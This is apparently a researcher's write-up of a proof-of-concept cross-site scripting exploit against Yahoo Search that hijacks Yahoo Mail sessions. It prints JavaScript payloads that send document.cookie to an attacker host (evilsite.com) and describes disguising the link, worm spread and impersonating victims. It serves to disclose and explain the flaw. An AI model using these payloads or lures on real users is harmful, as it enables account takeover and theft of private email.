I'll start out with a general description of the trap set up by the exploit and why it's so easy to fall into it. By the way, the trap in my proof of concept was tested to work on all major Firefox and IE browser versions with default settings.
With the PoC as I presented it, the victim would have to somehow navigate to a somewhat suspicious-looking link, a criticism that many claim makes the exploit less realistic. But the link can be masked through a myriad of ways. You could for instance create a webpage http://myhotpix.com/ with a hidden iframe that automatically and silently visits the XSS url, and voila: the user has just been hit by the XSS exploit without even knowing it or seeing any suspicious URLs. As one commenter suggested, you could insert and disguise this link on the MySpace profile of "some hot girl" (tm).
The exploit could also be made into a worm for maximal spread. When a user falls victim to it by visiting the malicious link, their account would be used to send copies of the malicious link to all their contacts at Yahoo Mail or Yahoo IM.
Cross-site cookie theft
The malicious JS has only one purpose: to send the user's Yahoo cookies to the attacker. With JS you can grab all the cookies from the web site that the user is visiting by calling document.cookie. And in my PoC, the transport mechanism to send all the user's cookies to an outside site is simply via an img or iframe tag inserted into the document. This tag references a URL with a query string that includes the grabbed cookies. The URL points to a CGI script on a 3rd-party web site; hence, the "cross-site" in "cross-site scripting." This CGI script is then free to do whatever it wants with these cookies, including impersonating the victim. For example, the malicious JS could be something like:
document.write('<img src=http://evilsite.com/evil.cgi?cookies='+escape(document.cookies)+'/>')This is the most common structure of XSS exploits, and this PoC is not much different. For a well-working portable XSS exploit, however, a few tweaks may be necessary.
In our case the Yahoo cookies were very long and exceeded Internet Explorer's maximum URL length for a GET request (interestingly, Firefox did not suffer from this limitation--its maximum length must be greater). So I used a different approach and hijacked the actual search form so that a POST request could be used instead of GET, since a POST request has no maximum data length. The JS to do this was very simple:
f = document.forms
f.method = 'POST'
f.action = 'http://evilsite.com/evil.cgi'
f.x.value = document.cookie
In our PoC, the CGI script on the 3rd party site happens to be written in Perl but could have been written in any server-side language. Once it reads in the value of the cookies passed on by the malicious JS, it is free to act as a web browser with these cookies set and navigate to Yahoo Mail pretending to be the victim.
What the PoC actually did for demonstration purposes was grab your latest email and display it back to you, to prove that the identity was stolen. What the CGI script could have done is use the cookies to download all your email or addressbok to harvest any private information contained within your account. This is what malicious hackers do all the time with XSS holes and it goes unnoticed.
By the way, a few portability tweaks were necessary to function for both classic Yahoo Mail and Yahoo Mail Beta.
Single Sign-On Architecture
One thing you may have noticed is that the XSS hole was found on the Yahoo search page, but the PoC attacks the victim's Yahoo Mail account. If these sites are separate, how is this possible? The answer has to do with Yahoo's single sign-on (SSO) architecture: most large web sites want all their services accessible through one login, which is normally very convenient for users as they don't have to keep logging in every time they switch from Yahoo Mail to Yahoo Photos to Yahoo IM.
However, the way that Yahoo has it set up makes things a little insecure. Other Yahoo services may differ but at least Mail and Search are designed in the following way: all the cookies necessary to access both these services are the same. In other words, if you grab the cookies using an XSS hole in one service, you can now access the other. All Yahoo's cookies have a domain of .yahoo.com and a path of '/'. Specifically, this means that if there is some vulnerability that allows you to grab cookies on any site that matches *.yahoo.com/*, you'll be able to access all yahoo services as that user.
XSS URL generation
The input to the Ruby script is the location of the 3rd party web site where the CGI script resides; the output is the XSS URL that you would send to potential victims as a trap. For our PoC, since we did not actually host the malicious CGI script anywhere, there was no real XSS URL to show. But as an example, if the URL were hosted on http://scriptkiddies.org/youvegotmail.cgi, the Ruby script would generate the following XSS URL:
- Rarely Greys <rarely.greys at (Google's mail)>